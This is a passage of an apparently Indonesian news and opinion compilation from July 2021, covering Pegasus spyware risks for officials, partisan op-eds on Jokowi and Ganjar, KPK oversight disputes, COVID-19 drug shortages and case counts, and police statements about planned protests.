lagi memakai WhatsApp karena menjadi pintu masuk Pegasus. Pendiri Telegram Paul Durov, kata Pratama, bahkan menegaskan bahwa WhatsApp sejak awal tidak serius membangun keamanan pada aplikasinya. Di antara kasus tersebut, yang paling ramai adalah peretasan ponsel iPhone milik Jeffrey Preston Bezos, pengusaha terkaya di dunia. Ponsel pemilik saham mayoritas perusahaan teknologi Amazon.com ini diretas sesaat setelah komunikasi dengan Pangeran Saudi Muhammad bin Salman. Akhirnya foto-foto dan chat pribadi dengan selingkuhannya seorang pembawa berita nasional di Amerika Serikat, kata Pratama, terkuak ke publik yang berujung Bezos cerai dari istrinya. Dari tim forensik yang memeriksa ponsel Bezos, ditemukan bukti yang mengarah pada ponsel telah diretas oleh Pegasus. Ancaman ini tidak menutup kemungkinan terjadi pada ponsel milik para pejabat di Tanah Air. Pratama lantas menyarankan agar para pejabat melakukan forensik pada perangkat gawai mereka. Selanjutnya, melakukan protokol keamanan untuk nomor yang dipakai komunikasi antarpetinggi negara harus dirahasiakan atau tidak boleh bocor kepada siapa pun. Masalahnya, nomor ponsel adalah pintu masuk dari Pegasus lewat WhatsApp. Bahkan, menurut Pratama, ponsel apa pun, termasuk iPhone, masih bisa ditembus oleh Pegasus. Langkah preventif yang paling bisa dilakukan adalah penggunaan software enkripsi sehingga data yang ditransmisikan atau dicuri oleh Pegasus tidak serta-merta langsung bisa dibuka atau diolah. (mth)

Presiden Main Sandiwara

By M RIzal Fadillah Bandung, FNN - Tiba-tiba di group wa muncul video Presiden datang ke apotik pinggir jalan di Bogor lalu menanyakan obat anti virus dengan nama yang ditulis di kertas. Penjaga toko obat menjawab obat tidak ada baik yang generik maupun paten. Presiden bertanya mencarinya di mana, jawabnya tidak tahu. Cukup sekian. Mungkin misi atau pesannya adalah bahwa obat penting itu kini tidak ada di toko obat atau apotik. Jadi distributor atau mungkin industri farmasi tidak memasok di pasaran. Presiden Jokowi mengingatkan fakta kelangkaan tersebut. Bagus-bagus saja. Meski jadi aneh juga permainan yang dishoot kamera termasuk para bapak polisi tersebut. Sidak? Tidak juga tampaknya. Dari gaya pelayan toko obat itu melayani mudah dibaca sebagai settingan. Apalagi dia tahu itu direkam dari depan dan belakang. Hebat-hebatnya Presiden Jokowi membeli obat di apotik pinggir jalan. Kesimpulannya adegan itu boong-boongan. Pencitraan Presiden yang sedang bermain sandiwara. Mengerikan dan menyedihkan sekali, di tengah serius-seriusnya penanganan pandemi covid 19 yang telah banyak membawa korban meninggal ini, masih sempat Presiden bermain sandiwara beli-belian obat. Pesan drama tersebut pasti tidak akan sampai pada sasaran. Lalu kepada siapa Presiden sedang mengarahkan pesan? Kepada Menteri atau industri farmasi, penimbun atau apotik? Atau mungkin kepada rakyat semesta? Seharusnya Presiden tak perlu drama seperti itu, jika ada informasi tentang kelangkaan obat, tinggal perintahkan jajaran kementrian dan aparat untuk bergerak. Mencari akar masalah dan mengatasi dengan sebaik-baiknya. Sandiwara satu babak ini sia-sia dan hanya membuktikan bahwa Presiden memang tidak profesional atau amatiran dalam mengelola negara. Pemuji akan mengacungkan jempol bahwa Presiden sidak, tetapi pengeritik melihat ini hanya sidak-sidakan. Artinya ini adalah drama kontroversi. Dan sungguh tidak bagus mendidik publik dengan pola akting yang multipersepsi. Sejak malam-malam mendatangi warga bagi-bagi obat dan sembako kemudian kini akting obat apotik tampaknya Presiden ingin mengulangi sukses kampanye saat Pilpres. Sayangnya ini bukan momen kampanye yang lebih banyak imajinasi daripada realisasi. Saat ini adalah waktu untuk mengambil keputusan yang konsisten, bijak, dan tulus. Melayani masyarakat keseluruhan dengan maksimal. Jauh dari kepura-puraan. Rakyat sudah muak dengan perilaku bermain-main di tengah ancaman serius yang dapat membawa angka kematian yang semakin tinggi. *) Pemerhati Politik dan Kebangsaan

Ganjar Semakin “Bandel”, Dia Tahu Dilema Megawati

By Asyari Usman Medan, FNN - Yang lain banyak menunggangi pandemi Covid untuk kepentingan bisnis, Ganjar Pranowo tak mau kalah. Dia tunggangi wabah virus Wuhan ini untuk tujuan politik. Untuk pilpres 2024. Dalam beberapa hari ini beredar meme yang bertajuk “Saya Percaya, Jokowi Mampu Atasi Pandemi”. Ada foto Jokowi dan Ganjar, disertai tagar #KitaPercayaJokowi. Meme atau flyer ini dikeluarkan oleh “Ganjarist” –kelompok yang mengaku sebagai relawan murni alias bukan pesanan. Murni? Agak sulit dipercaya. Orang lebih percaya “Ganjarist” digerakkan ketimbang klaim bergerak sendiri. Baik. Tidak usah terlalu dalam soal ini. Yang lebih menarik adalah sepak-terjang Ganjar yang semakin berani di depan mata Ketua Umum PDIP Megawati Soekarnoputri. Ganjar semakin “bandel”. Dia makin terang-terangan meremehkan Mega. Dengan membuat flyer Whatsapp yang bernada mendukung penuh Jokowi, walaupun kenyataannya Jokowi gagal menangani wabah virus Wuhan (Covid-19), Ganjar sudah tahu dan sudah siap ambil risiko terburuk. Hubungan Ganjar dengan Mega kini semakin tegang. Tapi, dia tahu bahwa Mega tidak akan bisa mengambil tindakan pendisiplinan. Pertama, Ganjar merasa semakin kuat posisi politiknya. Dia pasti telah mendapatkan “green light” dari Jokowi untuk melawan Mega. Dan kalkulasi melawan itu dipastikan pula akan dimenangkan oleh Ganjar. Pak Gubernur ini sangat populer di Jawa Tengah dan Jawa Timur. Ganjar itu “kartu hidup”, bukan kartu mati seperti Puan Maharani yang ingin dimajukan oleh Mega di pilpres 2024. Secara realistis, Puan sama sekali “tak menjual”. Kedua, Megawati tidak akan bisa berbuat apa-apa kalau Ganjar semakin bandel. Kalau Ganjar bisa maju lewat koalisi parpol-parpol minus PDIP yang diprakarsai oleh Jokowi, Mega tidak punya pilihan lain kecuali mengakui Ganjar sebagai kader PDIP. Perpecahan terbuka adalah situasi yang tak diinginkan oleh Mega. Ketiga, Ganjar tahu persis dilema yang dihadapi Mega. Membuang Ganjar berarti membelah PDIP. Situasi ini akan menguntungkan Ganjar. Dia bisa ‘playing victim’ (korban kesewenang Mega). Sebaliknya, membiarkan Ganjar “jalan sendiri” sangat menyakitkan Mega. Keempat, garansi dari Jokowi untuk Ganjar tentunya tidak main-main. Jokowi sangat besar kemungkinan telah mendapatkan jaminan dukungan dari para pengusaha besar untuk menyukseskan Ganjar. Antara lain karena mereka (para pengusaha besar) tidak punya pilihan lain. Anies Baswedan, salah seorang kontestan kuat 2024, diperkirakan tidak mudah dikendalikan oleh pengusaha. Jadi, Ganjar adalah satu-satunya figur yang bisa mereka andalkan. Barangkali, karena sadar kekuatan Ganjar di pilpres 2024, Megawati belakangan ini mengubah strategi. Dia melemparkan gagasan paslonpres Mega-Prabowo. Inilah kartu terakhir Mega untuk membungkam Ganjar. Kalau Mega maju, percaturan bisa lain. Tapi, ada masalah besar. Pasangan Mega-Prabowo akan sulit menerobos pemilih milenial. Kalangan pemilih muda akan melihat Indonesia jalan di tempat jika dipimpin oleh pasangan lansia ini. Jadi, hitung-hitungan Ganjar memang hebat. Dia tahu sikapnya yang semakin bandel itu tidak bisa dicegah oleh Mega. Dan Ganjar tahu pilpres 2024 adalah ajang pertarungan yang krusial bagi dia. Artinya, dia harus maju dengan segala risiko kepartaian yang akan dihadapinya. Pilpres 2029 pasti akan dimenangkan oleh Anies sekiranya gubernur DKI ini menang pilpres 2024. Karena itu, kita masih akan melihat manuver Ganjar yang semakin membandel lagi di hari-hari mendatang.[ Penulis wartawan senior FNN

Polisi Pastikan Video Demo Rusuh Hoaks

Jakarta, FNN - Kepolisian Republik Indonesia (Polri) memastikan video dengan narasi demonstrasi serentak yang berlangsung Sabtu, 24 Juli 2021, berujung rusuh, sebagai kabar bohong atau hoaks. "Itu video hoaks," kata Kepala Divisi Hubungan Masyarakat Polri Inspektur Jenderal Argo Yuwono, di Jakarta, Sabtu. Argo menjelaskan, fakta sebenarnya video demonstrasi berakhir rusuh yang beredar di media sosial merupakan peristiwa demonstrasi menolak omnibus law Cipta Kerja setahun yang lalu. "Faktanya adalah demonstrasi itu merupakan peristiwa lama saat demo menolak omnibus law Ciptaker di Jakarta, pada 8 Oktober 2020," ujar Argo sebagaimana dikutip dari Kantor Berita Antara. Argo mengimbau masyarakat agar tidak mudah percaya dengan informasi palsu yang dibuat oleh oknum yang tidak bertanggung jawab. "Masyarakat jangan mudah termakan hoaks. Saring sebelum sharing," ujar Argo. Menurut Argo, sampai dengan saat ini, situasi keamanan dan ketertiban masyarakat (sitkamtibmas) berjalan aman, damai dan kondusif. Ia memastikan tidak ada demonstrasi yang berlangsung sepanjang Sabtu, 24 Juli 2021, termasuk di Jakarta. "Situasi aman dan kondusif. Tidak ada gangguan yang berarti," kata Argo. Selain itu, Polri juga telah menyematkan label hoaks terhadap video yang beredar di media sosial melalui akun Instagram @divisihumaspolri. (MD).

Novel Baswedan Khawatir Dewan Pengawas KPK Dikelabui

Jakarta, FNN - Penyidik KPK Novel Baswedan menyampaikan kekhawatirannya mengenai Dewan Pengawas (Dewas) lembaga antirasuah tersebut dikelabuhi saat memeriksa aduan dugaan pelanggaran etik yang dilakukan pimpinan KPK dalam proses alih status pegawai menjadi Aparatur Sipil Negara (ASN). "Saya juga berpikir karena beliau-beliau (anggota Dewas) terlalu senior jadi mudah dikelabui oleh pihak-pihak terperiksa. Saya khawatirnya itu karena dari jawaban Dewas, beliau-beliau bertindak seperti kuasa hukum terperiksa. Hal itu yang sangat serius menurut saya," kata Novel dalam konferensi pers virtual di Jakarta, Sabtu, 24 Juli 2021. Jumat (23/7), Dewas KPK melalui konferensi pers tidak dapat melanjutkan laporan pegawai antirasuah mengenai dugaan pelanggaran etik yang dilakukan pimpinan KPK terkait pelaksanaan Tes Wawasan Kebangsaan (TWK) ke sidang etik. Sebab, Dewas lembaga tersebut tidak memiliki cukup bukti untuk mlenajutkan laporan tersebut. "Sejelas itu perbuatannya, sekonkrit itu bukti-buktinya tetapi direspon kurang bukti, jadi pertanyaan ada apa dengan Dewas? Apa beliau-beliau tidak punya kompetensi untuk melakukan pemeriksaan atau pendalaman? Saya kok kurang yakin," kata Novel sebagaimana dari Kantor Berita Antara. Novel menilai poin-poin pengaduan 24 orang pegawai KPK yang mewakili 75 orang pegawai yang dinyatakan Tidak Memenuhi Syarat (TMS) setelah gagal lolos TWK sudah jelas dan terang. "Bukti-bukti begitu nyata, begitu terang, tetapi seolah-olah seperti tidak ada apa-apa. Tentu kita harap ke depannya Dewas bisa memperbaiki diri. Beliau-beliau adalah orang-orang yang punya dedikasi baik. Saya beberapa kali bekerja dengan beliau dan tentu kita berharap tidak mempermalukan diri sendiri dengan hal itu," ujar Novel. Novel secara pribadi mengaku sedih dengan pernyataan Dewas KPK yang punya pandangan berbeda mengenai laporan dan bukti yang diajukan para pegawai. "Dewas seharusnya bekerja sesuai tugas dan fungsinya yaitu pengawasan. Akan tetapi, ketika hal yang sangat besar dan serius di depan mata tidak kelihatan, ini masalah besar untuk Dewas, dan kalau Dewas bermasalah, maka berbahaya untuk KPK dan perjuangan pemberantasan korupsi ke depan," jelas Novel. Ia menyebut, Dewas adalah satu-satunya kanal untuk mengadukan dugaan pelanggaran etik yang dilakukan pimpinan maupun pegawai di KPK. "Tidak ada cara lain dan Dewas KPK itu menjadi pemeriksanya, juga penuntutnya dan hakimnya. Ja. Jadi, penentunya di sana (Dewas) semua. Ketika tidak ada jalan lagi apalagi yang bisa dilakukan? Ini memang masalah serius," tutur Novel. Ia khawatir jika Dewas KPK tidak bekerja sesuai fungsinya maka akan menambah pelanggaran lainnya. "Saya khawatir hal tersebut juga malah membuat pimpinan KPK semakin berani melakukan pelanggaran-pelanggaran. Kenapa? Karena Dewasnya sangat berpihak," kata Novel. Apalagi dari 75 pegawai yang dinyatakan TMS termasuk juga penyidik dan penyelidik yang sedang menangani sejumlah kasus dugaan korupsi. "Itu bukan tiba-tiba menuduh. Akan tetapi, hal tersebut sesuatu yang mudah diteliti. Kita lihat setelah merasa berhasil melemahkan KPK dan orang-orang yang bekerja baik di KPK, kemudian perkara-perkara yang berjalan juga semakin lemah. Tuntutan juga semakin ringan, perkara yang berjalan banyak yang tidak mengusut aktor intelektual. Kita berharap, semua bisa menjadi perhatian karena kalau itu terjadi maka kerugian untuk kita semua. Kerugian bagi pemberantasan korupsi," jelas Novel. (MD).

Ormas di Sulawesi Tenggara tidak Terindikasi Radikal

Kendari, FNN - Badan Kesatuan Bangsa dan Politik (Kesbangpol) Sulawesi Tenggara menyebut organisasi masyarakat (ormas) di daerah tersebut tidak terindikasi radikal dan terorisme. Berdasarkan pantauan, kegiatan ormas di provinsi tersebut bergerak sesuai bidang keormasan masing-masing. "Sejauh ini (ormas) masih aman-aman saja. Masih batas kewajaran (kegiatannya)," kata Kasubid Ketahanan Seni Budaya dan Agama Kesbangpol Sultra, Megawati Hamzah di Kendari, Sabtu, 23 Juli 2021. Ia menyampaikan, hal itu berdasarkan sumber dana organisasi yang jelas dan kegiatan sesuai Anggaran Dasar dan Anggaran Rumah Tangga (AD/ART) yang terdaftar di Kesbangpol. "Sampai saat ini hasil verifikasi dan identifikasi kami tidak ada (indikasi radikal dan terorisme). Rata-rata mereka itu sumbangan sukarela dari pengurusnya, sumber dananya jelas," jelasnya sebagaimana dikutip dari Kantor Berita Antara. Ia menyebut, berdasarkan data base sejak 2013-2021 sebanyak 257 ormas terdaftar di Kesbangpol Sultra. Meski demikian, pihaknya baru melakukan verifikasi kepada 95 ormas, sisanya masih dalam proses. Ormas yang terdaftar di Kesbangpol semuanya berbadan hukum yaitu Administrasi Hukum Umum (AHU) yang dikeluarkan Ditjen AHU Kemenkumham. Juga memiliki Surat Keterangan Terdaftar (SKT) yang dikeluarkan Kementerian Dalam Negeri (Kemendagri). Guna mencegah adanya ormas yang menyimpang dari ketentuan yang berlaku, Kesbangpol memberikan pemahaman kepada pengurus ormas-ormas, terutama mengenai larangan ormas sesuai dengan Undang-Undang Nomor 16 Tahun 2017. "Di dalam Undang-undang itu kita memberikan pemahaman bahwa ormas dilarang melakukan kegiatan di luar dari bidang kegiatan yang ada pada AD/ART," katanya. (MD)

Amerika Hentikan Kasus Penipuan Visa Ilmuwan China

Washington, FNN - Program Departemen Kehakiman Amerika Serikat (AS) yang bertujuan melindungi teknologi negara tersebut dari China membatalkan lima tuntutan terhadap ilmuwan negara komunis tersebut. Pembatalan itu dilakukan setelah draf analisis internal FBI (Federal Bureau of Investigation/Biro Investigasi Federal) mempertanyakan premis utama untuk penyelidikan itu. pengadilan. "Inisiatif China" itu telah dikritik oleh para pendukung kebebasan sipil sebagai bias rasial. Hakim dalam beberapa proses pengadilan telah menyatakan keraguan tentang taktik FBI dalam menginterogasi para ilmuwan. Pada Kamis dan Jumat, pemerintah AS mengajukan mosi di pengadilan federal untuk menghentikan tuduhan dalam lima kasus peneliti China yang ditangkap atas tuduhan penipuan visa tahun lalu. Semua mengaku tidak bersalah memalsukan aplikasi visa untuk menyembunyikan hubungan militer serta tuduhan lainnya. Mosi untuk menghentikan kasus tersebut bertepatan dengan kunjungan Wakil Menteri Luar Negeri pemerintahan Biden yang baru, Wendy Sherman, di China pada Minggu dan Senin. Kelima penangkapan itu terjadi sekitar setahun yang lalu ketika hubungan AS-China berada di titik nadir. Sekarang dua negara dengan ekonomi terbesar dunia itu berusaha mengatasi hubungan yang bermasalah. Menurut dokumen pengadilan setempat, departemen kehakiman mengatakan, mereka menolak kasus-kasus itu demi "kepentingan keadilan". Sebagaimana dikutip dari Kantor Berita Antara, pejabat China yang berbasis di AS tidak dapat segera dihubungi untuk memberikan komentar mengenai perkembangan tersebut. "Perkembangan terakhir dalam beberapa kasus yang melibatkan terdakwa dengan dugaan hubungan yang tidak diungkapkan dengan Tentara Pembebasan Rakyat Republik Rakyat China telah mendorong departemen mengevaluasi kembali penuntutan itu," demikian pernyataan oleh juru bicara Departemen Kehakiman Wyn Hornbuckle tanpa merinci apa perkembangan itu. Dokumen pengadilan dalam dua kasus yang diajukan bulan ini mencakup rancangan analisis FBI yang mempertanyakan manfaat penyelidikan itu dalam melindungi teknologi yang dikembangkan AS. Laporan itu mengatakan, pertanyaan permohonan visa tentang dinas militer yang menjerat para ilmuwan, tidak jelas. Analisis itu ditulis sebagai reaksi terhadap Unit Analisis Transfer Teknologi China di FBI yang dinominasikan pada Februari untuk "dampak tinggi" dari "penangkapan mahasiswa PLA" . PLA mengacu pada militer China. Pemimpin unit FBI tidak setuju dengan dampak penangkapan dan mengeluarkan unit itu dari nominasi penghargaan. Ditanya tentang pengajuan pengadilan, seorang pejabat departemen kehakiman menjawab melalui email. Jawaban itu berbunyi, "draf analisis mendorong pertanyaan lanjutan dan permintaan dari penasihat hukum yang tidak dapat kami selesaikan sebelum tanggal persidangan Senin." Salah satu kasus dijadwalkan akan dimulai pada Senin. Pejabat itu mengatakan, dalam sebagian besar kasus hukumannya akan menjadi satu tahun atau kurang. Kebebasan para terdakwa telah dibatasi selama waktu itu baik di penjara atau dengan jaminan. Pengacara terdakwa mengatakan, satu-satunya "kejahatan" klien mereka adalah menabrak politik AS-China. John Hemann, seorang pengacara untuk peneliti otak China Song Chen, mengatakan mereka "bersyukur dan lega" kasus terhadapnya telah dibatalkan dan "pemerintah telah melakukan hal yang benar." (MD).

Wakil Ketua DPR Heran Obat Terapi Covid 19 Hilang di Pasaran

Jakarta, FNN - Wakil Ketua Dewan Perwakilan Rakyat (DPR) Sufmi Dasco Ahmad mengaku heran dengan hilangnya peredaran obat terapi Covid-19 saat Presiden Joko Widodo (Jokowi) sidak ke salah satu apotek di Bogor, Jawa Barat. Dasco dalam keterangannya di Jakarta, Sabtu (23 Juli 2021) menjelaskan, obat-obatan untuk terapi Covid-19 yang dicari oleh presiden tersebut sebagian besar adalah produk BUMN Farmasi seperti Oseltamivir produksi Indofarma, Favipiravir, dan Azithromycin produksi Kimia Farma. Dasco yang juga Ketua Satgas Lawan Ccovid-19 DPR RI mengatakan, dalam rapat antara Komisi VI DPR dengan para direktur utama BUMN Farmasi beberapa waktu lalu memastikan obat-obatan untuk terapi Covid-19 tersebut telah diproduksi melebihi kapasitas produksinya dalam memenuhi pasokan obat selama pandemi ini. "Saya heran kenapa obat-obatan terapi Covid-19 itu saat ini seolah-olah hilang di pasaran. Padahal, para direktur utama BUMN Farmasi dalam rapat bersama Komisi VI memastikan bahwa mereka telah memproduksi lebih dari jumlah kapasitas produksinya dalam memenuhi pasokan di pasaran selama pandemi ini," katanya. Oleh karena itu, Ketua Harian DPP Partai Gerindra itu meminta kepada aparatur pemerintah serta pihak kepolisian agar menyelidiki hilangnya obat-obatan tersebut Sebab, kata dia, jangan sampai dugaan buruk terjadi, yakni adanya penimbunan obat-obatan untuk terapi COVID-19 tersebut oleh sebagian pihak. "Saya meminta pemerintah serta aparat kepolisian supaya menyelidiki hilangnya obat-obatan ini. Jangan sampai ada dugaan penimbunan obat terapi Covid-19 karena kepanikan masyarakat terhadap pandemi sekarang," ucap Dasco sebagaimana dikutip dari Kantor Berita Antara. Sebelumnya pada Jumat (23/7), Presiden Jokowi mengecek langsung ketersediaan obat terapi Covid-19 di sebuah apotik, di Bogor. Namun, apoteker menjawab stok Oseltamivir kosong. Presiden menanyakan kembali di mana ia harus mencari obat tersebut. Apoteker mengatakan, pihaknya sudah lama tidak menerima pasokan Oseltamivir. Terakhir, stok Oseltamivir yang sempat tersisa adalah merek Fluvir. "Tetapi, sekarang juga sudah kosong," kata apoteker wanita tersebut. Presiden kemudian menanyakan lagi ketersediaan obat jenis Favipiravir. Apoteker juga menjawab tidak punya stoknya, begitu juga dengan vitamin D3. Apotek tersebut hanya memiliki vitamin D3 1000, sedangkan D3 5000 sudah habis. Kepada Jokowi, apoteker menyampaikan, pihaknya sudah memesan lagi produk vitamin tersebut, namun tidak dapat. Hingga akhirnya Presiden menelepon Menteri Kesehatan Budi Gunadi Sadikin untuk memberitahu bahwa obat-obatan yang ia cari untuk terapi Covid-19 kosong di pasaran. (MD).

Pasien COVID-19 Meninggal di Bangka Bertambah 7 Orang

Sungailiat, Bangka, FNN - Satuan Gugus Tugas (Satgas) COVID-19 Kabupaten Bangka Provinsi Kepulauan Bangka Belitung mencatat terdapat penambahan tujuh pasien COVID-19 yang meninggal dunia sehingga total mencapai 135 orang. Juru Bicara Satgas COVID-19 Kabupaten Bangka, Boy Yandra di Sungailiat, Sabtu, mengatakan tujuh pasien COVID-19 yang meninggal dunia masing-masing inisial M (48) perempuan asal kecamatan Merawang, Mld (73) laki-laki asal Belinyu. Kemudian inisial Jjf (57) perempuan asal Belinyu, D (63) laki-laki asal Belinyu, Ca (65) perempuan asal Kecamatan Sungailiat, Btb (74) laki-laki asal Belinyu dan Sh (64) perempuan asal Kecamatan Pemali. Berdasarkan data informasi perkembangan COVID-19 Kabupaten Bangka sampai dengan Sabtu ini total kasus mencapai 5.967 orang, 5.024 sembuh, 135 meninggal dunia serta 6.245 warga diketahui kontak erat dengan pasien COVID-19. "Angka kematian pasien COVID-19 terbanyak di wilayah Kecamatan Belinyu mencapai 45 orang kemudian di Kecamatan Sungailiat sebanyak 44 orang serta terendah kematian di Kecamatan Puding Besar sebanyak empat orang," katanya. Boy Yandra mengatakan dari ratusan pasien COVID-19 yang meninggal dunia, diketahui terdapat tujuh orang meninggal dunia saat melakukan isolasi mandiri. "Saya ingatkan masyarakat yang dinyatakan positif COVID-19 dan mengalami kendala kesehatan hendaknya jangan melakukan isolasi mandiri karena tidak mendapatkan perawatan kesehatan dari dokter sehingga sangat membahayakan dirinya," ujarnya. (sws)

Polresta Jayapura Tangkap Warga Negara PNG Pembawa 24 Paket Ganja

Jayapura, FNN - Satuan Reserse Narkoba Polresta Jayapura Kota menangkap warga negara Papua Nugini (PNG) yang membawa 24 paket ganja di seputaran Expo Waena, Distrik Heram, Jayapura, Papua. Kasat Resnarkoba Polresta Jayapura Iptu Alamsyah Ali di Jayapura, Sabtu, mengatakan, SK (20) yang berkebangsaan PNG ditangkap Rabu malam (21/7) beserta 24 paket ganja. Sebanyak 24 paket ganja tersebut dikemas dalam dua ukuran yakni kecil dan besar sudah siap edar. Diduga ganja tersebut akan diedarkan di sekitar Waena, kata Iptu Alam, seraya menambahkan bahwa penangkapan tersebut berkat informasi dari masyarakat yang menyatakan ada orang membawa ganja. Saat ini SK sudah ditahan di Mapolresta Jayapura Kota beserta barang buktinya berupa 24 paket ganja. SK akan dijerat pasal 111 ayat (1) Undang-undang No. 35 tahun 2009 tentang Narkotika dengan ancaman hukuman 12 tahun kurungan penjara, jelas Iptu Alamsyah. (sws)

Menkopolhukam: Pemerintah Tindak Tegas Demonstrasi Tidak Sesuai Prokes

Jakarta, FNN - Pemerintah akan menindak tegas demonstrasi yang tidak sesuai protokol kesehatan (prokes) karena melanggar hukum dan membahayakan keselamatan masyarakat, kata Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menkopolhukam) Mahfud MD, di Jakarta, Sabtu. Oleh sebab itu, Mahfud menegaskan aparat penegak hukum menjadi faktor penting yang membantu pemerintah menjaga keselamatan masyarakat. “Pemerintah dengan segala daya dan upaya terus menangani COVID-19. Dalam menerapkan kebijakan mengenai penanggulangan pandemi, pemerintah berpedoman pada substansi Undang-Undang Dasar kita, yaitu menjaga keselamatan rakyat,” kata Mahfud MD saat jumpa pers secara virtual di Jakarta. Dalam kesempatan itu, Mahfud menjelaskan pemerintah tidak melarang kegiatan menyampaikan aspirasi selama itu dilakukan sesuai dengan protokol kesehatan. “Pada prinsipnya, pemerintah itu terbuka dan merespons segala aspirasi masyarakat. Namun, sebaiknya aspirasi pada masa pandemi disampaikan melalui jalur-jalur komunikasi yang sesuai dengan protokol kesehatan,“ kata dia. Ia mengatakan pemerintah mendengar seluruh aspirasi masyarakat dan tanggap terhadap berbagai usulan tersebut. “Pemerintah mendengar semua aspirasi itu dan menjadikannya pertimbangan dalam berbagai keputusan. Tidak ada yang diabaikan,” tegas Mahfud MD. Contohnya, kata dia, pemerintah bertindak cepat merespons usulan rakyat terkait vaksin berbayar dan tenaga kerja asing, katanya. Oleh karena itu, ia mengingatkan masyarakat agar mewaspadai kelompok tertentu yang ingin memanfaatkan situasi keresahan warga. “Pemerintah mengetahui sekelompok orang memiliki keinginan memanfaatkan situasi. Ada kelompok murni dan kelompok yang tidak murni. Mereka hanya ingin menentang saja, memanfaatkan situasi, apa pun itu pemerintah diserang. Oleh sebab itu, kita harus hati-hati,” ujar dia. Mahfud meminta masyarakat tetap tenang dan saling bekerja sama menanggulangi dampak pandemi COVID-19. “Kepada seluruh masyarakat diharapkan tetap tenang menjaga ketertiban dan keamanan di wilayah masing-masing. Kami akan terus bekerja sama dengan tokoh-tokoh masyarakat, dan berbagai kelompok masyarakat untuk membangun kebersamaan tanpa kotak-kotak politik,” ujar dia. (sws)

Polrestabes Bandung Minta Warga Tidak Lakukan Aksi 24 Juli

Bandung, FNN - Kapolrestabes Bandung, Jawa Barat, Kombes Pol Ulung Sampurna Jaya meminta masyarakat agar tidak melakukan aksi pada 24 Juli 2021 karena berpotensi meningkatkan penyebaran COVID-19. Menurut Ulung, penyampaian aspirasi bisa dilakukan dengan tidak membuat kerumunan, bahkan pihaknya akan memfasilitasi penyampaian aspirasi itu namun dengan ketentuan protokol kesehatan (prokes). "Kalau ada masyarakat yang ingin menyampaikan aspirasinya silakan, beberapa orang ditunjuk, bisa kita arahkan, tidak harus mengajak massa sehingga berkerumun," kata Ulung di Bandung, Sabtu. Ulung mengatakan potensi penyebaran COVID-19 di tengah kerumunan massa yang melakukan aksi itu terbukti setelah ditemukan tujuh pemuda yang mengikuti aksi pada Rabu (21/7) dinyatakan reaktif COVID-19 dari tes antigen. "Kemarin (Rabu) pada saat kita bubarkan yang diamankan kita periksa, ternyata hasilnya reaktif, kita lakukan PCR dan hasilnya positif, kita bawa ke rumah sakit," kata dia. Saat ini, menurutnya, marak ajakan di media sosial untuk melakukan aksi unjuk rasa dengan isu-isu yang tak bisa dipertanggungjawabkan. Untuk itu, masyarakat diminta tak terprovokasi atas ajakan tersebut. "Karena kita ketahui bersama yang unjuk rasa itu memang hanya ingin membuat situasi Kota Bandung tidak kondusif atau kacau, apabila dilihat dari akun, dan ajakannya," kata dia. Sementara itu, Universitas Katolik Parahyangan (Unpar) Bandung membantah adanya ajakan dari mahasiswanya untuk melakukan aksi pada 24 Juli 2021. Kepala Kehumasan dan Protokoler Unpar Magenta Paramita mengatakan adanya poster yang beredar di media sosial memojokkan salah seorang mahasiswanya yang dituding sebagai provokator aksi itu adalah tidak benar. "Pemberitaan sosial media tersebut ditengarai merupakan pencatutan nama atau identitas saudara Taffarel yang dilakukan oleh pihak tidak bertanggung jawab dan belum dapat diketahui maksud dan tujuannya," kata Magenta dalam keterangan resminya. Pihaknya telah melakukan konfirmasi terhadap Taffarel yang merupakan Ketua Badan Eksekutif Mahasiswa Unpar. Magenta mengatakan menurut pengakuan Taffarel, poster di media sosial itu adalah keliru. "Yang bersangkutan menyatakan tidak berkaitan, tidak berencana, ataupun tidak mendalangi aksi demonstrasi pada tanggal 24 Juli 2021," kata Magenta. (sws)

Pasien Aktif COVID-19 di Bangka Capai 808 Orang

Sungailiat, Bangka, FNN - Satuan Gugus Tugas COVID-19 Kabupaten Bangka Provinsi Kepulauan Bangka Belitung mencatat sampai saat ini masih terdapat 808 orang pasien aktif di daerah itu. Juru Bicara Satgas COVID-19 Kabupaten Bangka, Boy Yandra di Sungailiat, Sabtu mengatakan 808 pasien aktif tersebut saat ini menjalani proses pemulihan kesehatan baik di rumah sakit, ICU ataupun di balai isolasi. "Jumlah pasien aktif mengalami penambahan dari jumlah kasus yang sama dibanding kemarin Jumat (23/7) sebanyak 747 orang," jelasnya. Dia mengatakan, ratusan pasien aktif COVID-19 tersebut tersebar disejumlah wilayah kecamatan dengan yang angka kasus sebarannya berbeda-beda. Di Kecamatan Sungailiat terdapat 253 pasien aktif, Riau Silip terdapat 64 pasien aktif, Puding Besar sebanyak 16 pasien aktif, Kecamatan Pemali ada 146 pasien aktif. Kemudian di Kecamatan Merawang ada 59 pasien aktif, Mendo Barat terdapat 41 pasien aktif, Belinyu mencapai 225 orang serta di Kecamatan Bakam terdapat empat pasien aktif. "Ratusan pasien aktif hari ini sudah termasuk dengan 75 orang yang dinyatakan positif COVID-19," ujarnya. Dia menyarankan seluruh masyarakat yang mengalami kendala kesehatan seperti demam agar segera melakukan pemeriksaan di pusat kesehatan terdekat. "Pemeriksaan kesehatan bagi warga yang demam atau sakit lainnya sebagai upaya mencegah penyebaran COVID-19 karena mempermudah tim kesehatan memeriksa yang bersangkutan," kata Boy Yandra. Masyarakat tanpa terkecuali juga diharuskan tetap disiplin menerapkan prokes sebagai tindakan efektif mencegah penyebaran COVID-19 meskipun sudah mendapatkan layanan vaksinasi. (sws)

Jokowi Game Over?

by Tarmidzi Yusuf Bandung FNN - Seperti dalam tulisan penulis sebelumnya. Sejarah jatuhnya Presiden Indonesia tidak pernah berdiri sendiri. Keterlibatan asing aseng, oposisi dan pembusukan dari dalam internal rezim sendir sangat kuat, bahkan menjadi penentu utama kejatuhan suatu rezim. Kejatuhan Soekarno, Soeharto dan Abdurrahman Wahid adalah contohnya. BJ. Habibie dan Megawati, Presiden yang hanya di tengah jalan. Hanya melanjutkan sisa jabatan dari presiden sebelumnya, Soeharto dan Abdurrahman Wahid. Dari enam presiden, satu-satunya Presiden Indonesia yang selamat sampai akhir masa jabatan, hanyalah Susilo Bambang Yudhoyono (SBY), Presiden keenam RI. Jokowi saat ini sedang menghadapi ujian besar. Pandemi Covid-19, korupsi besar-besaran, sejumlah Badan Usaha Milik Negara (BUMN) di ambang kebangkrutan dan hancur-hancuran. BUMN punya utang gila-gilaan, akibat dikelola denan cara yang tidak profesional. Semua itu buntut dari bagi-bagi kue kekuasaan kepada tim sukses. Jokowi dianggap 